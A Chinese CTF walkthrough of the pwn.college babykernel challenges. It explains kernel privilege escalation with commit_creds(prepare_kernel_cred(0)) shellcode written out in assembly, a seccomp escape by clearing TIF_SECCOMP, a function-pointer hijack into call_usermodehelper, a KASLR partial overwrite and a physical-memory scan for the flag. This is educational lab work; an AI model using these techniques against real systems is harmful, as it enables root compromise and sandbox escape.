Pwncollege-Babykernel通关笔记
简介
题目来源在pwn.college配套练习里的babykernel
平台: The challenges created for pwn.college are educational material, and are used to grade CSE466 students at ASU………we would appreciate your help in keeping pwn.college a viable educational platform。
btw 这里的大部分内容在平台相应的课程都有提及,或者在youtube上有教师录制的视频提供了些assistance,又或者在discord的讨论区有些有用的信息
总之就是个人的总结和记录吧
level1.0
init_module
初始化函数,打开根目录下的flag文件读到flag变量中proc_create会创建虚拟文件/proc/pwncollege,是题目提供的字符设备接口
1 | int __cdecl init_module() |
device_open
1 | int __fastcall device_open(inode *inode, file *file) |
device_read
可以看到有判断,只有device_state[0]==2才会将内核态中的flag变量复制到用户态变量buffer中
1 | ssize_t __fastcall device_read(file *file, char *buffer, size_t length, loff_t *offset) |
device_write
传进来用户态的buffer复制到内核的password里,,和字符串teffctytaeippuch比较,相同则device_state[0]=2
1 | ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset) |
首先open("/proc/pwncollege", O_RDWR)以可读可写方式打开虚拟文件,向该文件执行读写操作便会进入内核态调用相应的api。通过调用write传入password,然后调用read把flag读到用户态的变量中,最后在用户态输出该变量即得到flag
exp
1 |
|
level1.1
和level1.0基本没差,只有device_read看起来有一些不同,password改一下就行
1 | ssize_t __fastcall device_read(file *file, char *buffer, size_t length, loff_t *offset) |
exp
1 |
|
level2.0
很显然调用write传入password即可
需要注意的是这里printk不会把内容显示到终端上,但是会在内核缓冲区里,可以执行dmesg查看
device_write
1 | ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset) |
exp
1 |
|
level2.1
和2.0不能说一模一样,只能说没有区别
level3.0
device_write
1 | ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset) |
win
1 | void __cdecl win() |
给了个后门win
调用write进入win,执行commit_creds(prepare_kernel_cred(0LL)),即获得root权限
然后再打开flag,读到用户态输出即可
exp
1 |
|
level3.1
与level3.0基本没差
level4.0
device_ioctl
1 | __int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg) |
同样win函数能够提升权限至root
exp
1 |
|
level4.1
没差
level5.0
device_ioctl
1 | __int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg) |
仍然有后门,ioctl中操作码1337调用函数_x86_indirect_thunk_rbx1
2
3
4
5
SYM_FUNC_START(__x86_indirect_thunk_\reg)
JMP_NOSPEC \reg
SYM_FUNC_END(__x86_indirect_thunk_\reg
相当于1
2
3void __x86_indirect_thunk_rbx (void) {
__asm__("jmp rbx");
}
gdb反汇编如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24(gdb) file /opt/linux/vmlinux
Load new symbol table from "/opt/linux/vmlinux"? (y or n) y
Reading symbols from /opt/linux/vmlinux...
(gdb) disa
disable disassemble
(gdb) disassemble __x86_indirect_thunk_rbx
Dump of assembler code for function __x86_indirect_thunk_rbx:
0xffffffff81e00ef0 <+0>: jmp *%rbx
0xffffffff81e00ef2 <+2>: nop
0xffffffff81e00ef3 <+3>: nop
0xffffffff81e00ef4 <+4>: nop
0xffffffff81e00ef5 <+5>: nop
0xffffffff81e00ef6 <+6>: nop
0xffffffff81e00ef7 <+7>: nop
0xffffffff81e00ef8 <+8>: nop
0xffffffff81e00ef9 <+9>: nop
0xffffffff81e00efa <+10>: nop
0xffffffff81e00efb <+11>: nop
0xffffffff81e00efc <+12>: nop
0xffffffff81e00efd <+13>: nop
0xffffffff81e00efe <+14>: nop
0xffffffff81e00eff <+15>: nop
0xffffffff81e00f00 <+16>: nop
End of assembler dump.
即可以看成jmp rbx
1 | .text.unlikely:0000000000000AFC ; __int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg) |
汇编中可以看到rbx即参数arg
思路
本题没有开kaslr,进入practice(调试)模式进虚拟机后sudo进入root,执行root@vm_practice_babykernel_level5:~# cat /proc/kallsyms | grep win
看到函数地址ffffffffc0000b2d t win [challenge]
所以可以布置第三个参数为win函数地址,即可跳转进入后门,接下来打开flag传到用户态再打印即可
exp
1 |
|
level5.1
没差
level6.0
device_write
1 | ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset) |
_x86_indirect_thunk_rax和前文提到的_x86_indirect_thunk_rbx类似,这里即jmp rax1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19(gdb) disassemble __x86_indirect_thunk_rax
Dump of assembler code for function __x86_indirect_thunk_rax:
0xffffffff81e00ed0 <+0>: jmp *%rax
0xffffffff81e00ed2 <+2>: nop
0xffffffff81e00ed3 <+3>: nop
0xffffffff81e00ed4 <+4>: nop
0xffffffff81e00ed5 <+5>: nop
0xffffffff81e00ed6 <+6>: nop
0xffffffff81e00ed7 <+7>: nop
0xffffffff81e00ed8 <+8>: nop
0xffffffff81e00ed9 <+9>: nop
0xffffffff81e00eda <+10>: nop
0xffffffff81e00edb <+11>: nop
0xffffffff81e00edc <+12>: nop
0xffffffff81e00edd <+13>: nop
0xffffffff81e00ede <+14>: nop
0xffffffff81e00edf <+15>: nop
0xffffffff81e00ee0 <+16>: nop
End of assembler dump.
device_write汇编如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34.text.unlikely:000000000000065C ; ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
.text.unlikely:000000000000065C device_write proc near ; DATA XREF: .data:fops↓o
.text.unlikely:000000000000065C file = rdi ; file *
.text.unlikely:000000000000065C buffer = rsi ; const char *
.text.unlikely:000000000000065C length = rdx ; size_t
.text.unlikely:000000000000065C offset = rcx ; loff_t *
.text.unlikely:000000000000065C push rbp
.text.unlikely:000000000000065D mov r8, offset
.text.unlikely:0000000000000660 mov rbp, buffer
.text.unlikely:0000000000000663 buffer = rbp ; const char *
.text.unlikely:0000000000000663 mov offset, length
.text.unlikely:0000000000000666 push rbx
.text.unlikely:0000000000000667 mov rbx, length
.text.unlikely:000000000000066A length = rbx ; size_t
.text.unlikely:000000000000066A mov rdx, rsi
.text.unlikely:000000000000066D mov rsi, file
.text.unlikely:0000000000000670 mov file, offset unk_708
.text.unlikely:0000000000000677 call printk ; PIC mode
.text.unlikely:000000000000067C cmp length, 1000h
.text.unlikely:0000000000000683 mov edx, 1000h
.text.unlikely:0000000000000688 mov rsi, buffer
.text.unlikely:000000000000068B cmovbe rdx, length
.text.unlikely:000000000000068F mov rdi, cs:shellcode
.text.unlikely:0000000000000696 call _copy_from_user ; PIC mode
.text.unlikely:000000000000069B mov buffer, rax
.text.unlikely:000000000000069E mov rax, cs:shellcode
.text.unlikely:00000000000006A5 call __x86_indirect_thunk_rax ; PIC mode
.text.unlikely:00000000000006AA mov rax, length
.text.unlikely:00000000000006AD pop length
.text.unlikely:00000000000006AE length = rax ; size_t
.text.unlikely:00000000000006AE sub length, rbp
.text.unlikely:00000000000006B1 pop rbp
.text.unlikely:00000000000006B2 retn
.text.unlikely:00000000000006B2 device_write endp
函数会将用户态buffer的内容传入内核态的shellcode变量中jmp rax前,rax指向shellcode
所以需要一段能够提权的shellcode
思路
内核中有一个cred结构体描述进程的权限1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39struct cred {
atomic_t usage;
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
void *security; /* subjective LSM security */
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
需要用到内核里的两个函数prepare_kernel_cred和commit_credsprepare_kernel_cred帮助构造一个credcommit_creds修改当前进程的cred
prepare_kernel_cred
1 | /** |
当变量daemon为0时,会复制init进程的cred作为当前进程的cred
1 | /* |
所以执行prepare_kernel_cred (0)即可返回一个root对应的cred
commit_creds
1 | /** |
该函数用来更新进程的cred
所以执行commit_creds(prepare_kernel_cred (0))能够提升权限为root
本题同样没有kaslr,可以读取/proc/kallsyms获取函数地址1
2
3
4
5hacker@vm_practice_babykernel_level6:~$ sudo -i
root@vm_practice_babykernel_level6:~# cat /proc/kallsyms | grep commit_creds
ffffffff81088d80 T commit_creds
root@vm_practice_babykernel_level6:~# cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff810890c0 T prepare_kernel_cred
commit_creds(prepare_kernel_cred (0))对应汇编1
2
3
4
5
6
7
8
9
10
11push rsi
mov rsi, ffffffff810890c0
push rdi
xor rdi, rdi
call rsi
mov rdi, rax
mov rsi, ffffffff81088d80
call rsi
pop rdi
pop rsi
ret
这里要得到shellcode对应字节码可以直接利用pwntools转换
或者使用rasm2
1 | hacker@babykernel_level6:~$ rasm2 -a x86 -b 64 -C -f shellcode |
exp
1 |
|
level6.1
没差
level7.0
init_module
1 | int __cdecl init_module() |
初始化的时候vmalloc了一块内存shellcode
device_ioctl
1 | __int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg) |
汇编1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61.text.unlikely:00000000000007EC ; __int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
.text.unlikely:00000000000007EC device_ioctl proc near ; DATA XREF: .data:fops↓o
.text.unlikely:00000000000007EC
.text.unlikely:00000000000007EC shellcode_length= qword ptr -28h
.text.unlikely:00000000000007EC shellcode_execute_addr= qword ptr -20h
.text.unlikely:00000000000007EC var_18 = qword ptr -18h
.text.unlikely:00000000000007EC
.text.unlikely:00000000000007EC file = rdi ; file *
.text.unlikely:00000000000007EC cmd = rsi ; unsigned int
.text.unlikely:00000000000007EC arg = rdx ; unsigned __int64
.text.unlikely:00000000000007EC push rbp
.text.unlikely:00000000000007ED mov rcx, arg
.text.unlikely:00000000000007F0 mov ebp, esi
.text.unlikely:00000000000007F2 cmd = rbp ; unsigned int
.text.unlikely:00000000000007F2 push rbx
.text.unlikely:00000000000007F3 mov rbx, arg
.text.unlikely:00000000000007F6 arg = rbx ; unsigned __int64
.text.unlikely:00000000000007F6 mov edx, esi
.text.unlikely:00000000000007F8 mov rsi, file
.text.unlikely:00000000000007FB mov file, offset unk_8F0
.text.unlikely:0000000000000802 sub rsp, 18h
.text.unlikely:0000000000000806 mov rax, gs:28h
.text.unlikely:000000000000080F mov [rsp+28h+var_18], rax
.text.unlikely:0000000000000814 xor eax, eax
.text.unlikely:0000000000000816 call printk ; PIC mode
.text.unlikely:000000000000081B or rax, 0FFFFFFFFFFFFFFFFh
.text.unlikely:000000000000081F cmp ebp, 539h
.text.unlikely:0000000000000825 jnz short loc_87D
.text.unlikely:0000000000000827 mov edx, 8
.text.unlikely:000000000000082C mov rsi, arg
.text.unlikely:000000000000082F mov rdi, rsp
.text.unlikely:0000000000000832 call _copy_from_user ; PIC mode
.text.unlikely:0000000000000837 mov edx, 8
.text.unlikely:000000000000083C lea rsi, [arg+1008h]
.text.unlikely:0000000000000843 lea rdi, [rsp+28h+shellcode_execute_addr]
.text.unlikely:0000000000000848 call _copy_from_user ; PIC mode
.text.unlikely:000000000000084D mov rdx, [rsp+28h+shellcode_length]
.text.unlikely:0000000000000851 mov rax, 0FFFFFFFFFFFFFFFEh
.text.unlikely:0000000000000858 cmp rdx, 1000h
.text.unlikely:000000000000085F ja short loc_87D
.text.unlikely:0000000000000861 mov rdi, cs:shellcode
.text.unlikely:0000000000000868 lea rsi, [arg+8]
.text.unlikely:000000000000086C call _copy_from_user ; PIC mode
.text.unlikely:0000000000000871 mov rax, [rsp+28h+shellcode_execute_addr]
.text.unlikely:0000000000000876 call __x86_indirect_thunk_rax ; PIC mode
.text.unlikely:000000000000087B xor eax, eax
.text.unlikely:000000000000087D
.text.unlikely:000000000000087D loc_87D: ; CODE XREF: device_ioctl+39↑j
.text.unlikely:000000000000087D ; device_ioctl+73↑j
.text.unlikely:000000000000087D mov rcx, [rsp+28h+var_18]
.text.unlikely:0000000000000882 xor rcx, gs:28h
.text.unlikely:000000000000088B jz short loc_892
.text.unlikely:000000000000088D call __stack_chk_fail ; PIC mode
.text.unlikely:0000000000000892 ; ---------------------------------------------------------------------------
.text.unlikely:0000000000000892
.text.unlikely:0000000000000892 loc_892: ; CODE XREF: device_ioctl+9F↑j
.text.unlikely:0000000000000892 add rsp, 18h
.text.unlikely:0000000000000896 pop arg
.text.unlikely:0000000000000897 pop cmd
.text.unlikely:0000000000000898 retn
.text.unlikely:0000000000000898 device_ioctl endp
可以看到将参数arg复制给shellcode_length,arg+0x1008复制到shellcode_execute_addr,当shellcode_length<=0x1000时把arg+8复制给shellcode,然后jmp rax,rax即shellcode_execute_addr
所以按照对应偏移布置好参数和shellcode,shelcode_length = 0x50,shellcode执行commit_creds(prepare_kernel_cred (0)),shellcode_execute_addr=0xffffc90000085000(kernel里shellcode的地址)
exp
1 |
|
后记
一开始二杯了,地址弄错了结果以为shellcode是不可执行的,然后跟熊哥学了一手利用xchg eax, esp做栈迁移rop的方法,但是不懂什么原因最后一直调不通……
level7.1
一样
level8.0
stucked for a long time
因为网上也找不到wp,就在看完简单的介绍以后翻discord的历史记录,陆续有了思路,然后各种尝试和调试,才做了出来
总的来说还是挺有意思的,从kernel中修改一个标志位从而绕过沙箱
background
沙箱逃逸
linux 5.4有效
新版linux中貌似没有看到TIF_SECCOMP,也没有深究该方法是否仍然有效
flags is a bit field that, among many other things, holds a bit named TIF_SECCOMP
/arch/x86/include/asm/thread_info.h
1 |
|
1 | struct task_struct { |
/include/linux/seccomp.h1
2
3
4
5
6static inline int secure_computing(const struct seccomp_data *sd)
{
if (unlikely(test_thread_flag(TIF_SECCOMP)))
return __secure_computing(sd);
return 0;
}
/kernel/seccomp.c1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27int __secure_computing(const struct seccomp_data *sd)
{
int mode = current->seccomp.mode;
int this_syscall;
if (IS_ENABLED(CONFIG_CHECKPOINT_RESTORE) &&
unlikely(current->ptrace & PT_SUSPEND_SECCOMP))
return 0;
this_syscall = sd ? sd->nr :
syscall_get_nr(current, task_pt_regs(current));
switch (mode) {
case SECCOMP_MODE_STRICT:
__secure_computing_strict(this_syscall); /* may call do_exit */
return 0;
case SECCOMP_MODE_FILTER:
return __seccomp_filter(this_syscall, sd, false);
/* Surviving SECCOMP_RET_KILL_* must be proactively impossible. */
case SECCOMP_MODE_DEAD:
WARN_ON_ONCE(1);
do_exit(SIGKILL);
return -1;
default:
BUG();
}
}
可以看到secure_computing(const struct seccomp_data *sd)中检测TIF_SECCOMP标志位,如果不为空则进入__secure_computing(const struct seccomp_data *sd)中,而后者就是实现沙箱的函数了
接着溯源,TIF_SECCOMP来自flags,是thread_info结构体的一个变量,而thread_info又是task_struct结构体的一个变量。
task_struct结构体,即Linux内核的进程控制块
所以如果能够执行current_task_struct->thread_info.flags &= ~(1<<TIF_SECCOMP),就能在当前进程完成沙箱逃逸(escaping seccomp)
题目
环境里给了两个文件,一个elf文件,一个ko文件
看一下权限
1 | hacker@babykernel_level8:~$ ls ../../challenge/ -la |
权限分三组:属主 属组 其他用户 U+G+O
U user
G group
O other
elf文件对我们来说是可执行的,代码大致如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+24h] [rbp-1Ch]
unsigned int v5; // [rsp+28h] [rbp-18h]
int v6; // [rsp+2Ch] [rbp-14h]
__int64 v7; // [rsp+38h] [rbp-8h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
puts("You may upload custom shellcode to do whatever you want.\n");
puts("For extra security, this challenge will only allow certain system calls!\n");
v5 = open("/proc/pwncollege", 1);
printf("Opened `/proc/pwncollege` on fd %d.\n", v5);
puts(&byte_4022A5);
if ( mmap(0x31337000, 0x1000uLL, 7, 34, 0, 0LL) != 825454592 )
__assert_fail("shellcode == (void *)0x31337000", "<stdin>", 0x62u, "main");
printf("Mapped 0x1000 bytes for shellcode at %p!\n", 0x31337000);
puts("Reading 0x1000 bytes of shellcode from stdin.\n");
v6 = read(0, 0x31337000, 0x1000uLL);
puts("This challenge is about to execute the following shellcode:\n");
print_disassembly(825454592LL, v6);
puts(&byte_4022A5);
puts("Restricting system calls (default: allow).\n");
v7 = seccomp_init(2147418112LL);
for ( i = 0; i <= 511; ++i )
{
if ( i == 1 )
{
printf("Allowing syscall: %s (number %i).\n", "write", 1LL);
}
else if ( seccomp_rule_add(v7, 0LL, i, 0LL) )
{
__assert_fail("seccomp_rule_add(ctx, SCMP_ACT_KILL, i, 0) == 0", "<stdin>", 0x78u, "main");
}
}
puts("Executing shellcode!\n");
if ( seccomp_load(v7) )
__assert_fail("seccomp_load(ctx) == 0", "<stdin>", 0x7Du, "main");
MEMORY[0x31337000]();
puts("### Goodbye!");
return 0;
}
看到打开了/proc/pwncollege,然后允许输入0x1000长度的shellcode,并添加了一堆禁用的系统调用,只留了一个write。最后会执行我们输入的shellcode
在看一下这次/proc/pwncollege是只允许root读写的1
2hacker@vm_babykernel_level8:~$ ls ../../proc/ -la | grep pwn
-rw------- 1 root root 0 Mar 8 14:08 pwncollege
device_write
write将从用户空间复制v5长度的shellcode然后执行1
2
3
4
5
6
7
8
9
10
11
12
13ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
size_t v5; // rdx
__int64 v6; // rbp
printk(&unk_528, file, buffer, length, offset);
v5 = 4096LL;
if ( length <= 0x1000 )
v5 = length;
v6 = copy_from_user(shellcode, buffer, v5);
(shellcode)();
return length - v6;
}
思路
用户空间执行elf文件,写入shellcode,其中调用write,将使用在内核态的shellcode写入,让内核态执行的shellcode将当前进程flags对应的TIF_SECCOMP标志位清零,然后执行cred_commit(prepare_kernel_cred(0))提权,接下来ret返回用户态,接着在用户态执行orw读出flag
如何寻找TIF_SECCOMP?
查看官方给出的本地样例并进行调试(或者直接看IDA反汇编ko)
样例代码:1
current->thread_info.flags &= ~_TIF_SECCOMP;
对应汇编1
2
3.text:000000000000006E mov rbx, gs:current_task
...
.text:0000000000000086 and qword ptr [rbx], 0FFFFFFFFFFFFFEFFh
也就是说我们能够通过gs寄存器加上特定偏移指向current->thread_info.flags
动态调式发现这个偏移是0x15d00
exp
1 | from pwn import* |
后记
可能有人会跟我一样想到,即然完成了seccomp escape,又提了权,那拿shell再cat不也能读flag吗?
事实上我也尝试了,然后发现能够获得shell但是不管输入什么,都只会看到bad system call。也就是说,沙箱处于正常运作中。
根本原因在于:我们修改的只是当前进程对应flags中的标志位
执行execve("/bin/sh",0,0)时,实际上
execve函数在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序
而子进程中task对应的flags中TIF_SECCOMP仍然存在,seccomp保持正常的执行,所以会只会得到bad system call
iow,本题展示的方法仅仅对当前进程逃逸沙箱有效
收获颇丰的一道题
level8.1
no deference
level9.0
device_write
1 | ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset) |
往栈上写东西,然后执行logger.log_function(&logger);而参数&logger即为我们输入的栈地址,log_function位于&logger+0x100,被初始化为&printk
允许读入0x108字节
思路
不难看出应该是要修改函数指针,执行特定的函数,同时能沟通控制第一个参数
考虑利用run_cmd函数1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19static int run_cmd(const char *cmd)
{
char **argv;
static char *envp[] = {
"HOME=/",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin",
NULL
};
int ret;
argv = argv_split(GFP_KERNEL, cmd, NULL);
if (argv) {
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
argv_free(argv);
} else {
ret = -ENOMEM;
}
return ret;
}
1 | /** |
大概就是run_cmd里面调用了call_usermodehelper,该函数可以在内核中直接新建和运行用户空间程序(prepare and start a usermode application)
并且该程序具有root权限,只要将参数传递正确就可以执行任意命令。
该函数与execve的函数参数相似,第一个参数必须是程序的全/绝对路径(STATIC_USERMODEHELPER_PATH)
exp
/home/hacker/orw写下命令,把flag存起来
直接cat看不到flag,因为命令在内核中执行的就不太知道输出到哪了1
cat /flag > /home/hacker/ans
1 |
|
level9.1
same
level10.0
内容和level9.0一样,区别在于这里开启了kaslr
那么我们可以利用partial overwrite的思想覆盖后三个字节,爆破1/16就行了
注意每次失败后要执行vm restart
exp
1 |
|
level10.1
一样
level11.0
也是有意思的一题
形式上和level8类似,同样需要运行elf文件输入shellcode,利用驱动把部分shellcode写到内核空间并执行
device_write
1 | ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset) |
题目
load_flag
和level8相比,本题区别在于程序会在子进程中把flag读到bss段上然后进入死循环
父进程在子进程读完flag以后,会使用unlink删除flag文件,然后上沙箱ban掉除了write的系统调用,最后输入并执行shellcode
1 | int load_flag() |
1 | load_flag(); |
背景
根据进程虚拟内存的知识我们知道程序里各种段的地址都是物理地址映射到虚拟地址空间中的,而物理内存是整个系统共享的
所以第一,子进程把flag读到bss段上但父进程的bss段上并没有数据;
第二,子进程读入的数据必然存在于物理内存中,那么我们就可以考虑通过在kernel中执行shellcode对flag进行搜索,具体来可以通过比较flag开头的几个字符确定
事实上kernel提供了宏定义(macros)进行虚拟地址和物理地址之间的转换phys_to_virt()将一个物理地址转换成虚拟地址virt_to_phys()将一个虚拟地址转换成物理地址
phys_to_virt(i)其实等价于page_offset_base+i
对于本题来说,flag实际上会存在于一个物理地址,这个物理地址是page_offset_base+?*0x1000+0x120
最后,由于当前环境没有开启kaslr,经过调试可以发现page_offset_base是一个定值为0xffff888000000000
exp
1 | from pwn import * |
后记
- 避免使用pwntools运行程序输入shellcode,会发生很多意料之外的事情,原因可能在于python进程对内核空间产生了影响。所以最后直接使用echo输入shellcode
- 有时候可能由于不明的原因会出现搜索时步长0x1000找不到的情况,可以选择每次加一来找,因为物理空间的地址都是连续的所以也不会在找到flag之前crash,只不过逐地址比较需要多次打印。因为有的是其他进程残留的内容实际上不是flag
- 打印地址的时候尝试使用
%p失败,是因为这里%p会自动hashed来避免kernel内存地址的泄露 - 特别感谢熊哥的帮助
level11.1
略
level12.0
题目
load_file
1 | __pid_t load_flag() |
和level11唯一的区别在于这一次子进程在读完flag之后直接exit了
exp
在解题思路上和level11没有区别。
level12.1
略
写在最后
断断续续的写完了,其实跨越时间还蛮长的(
总的来说还是蛮有意思的,算是小有收获,也顺便练习了一下洋文了










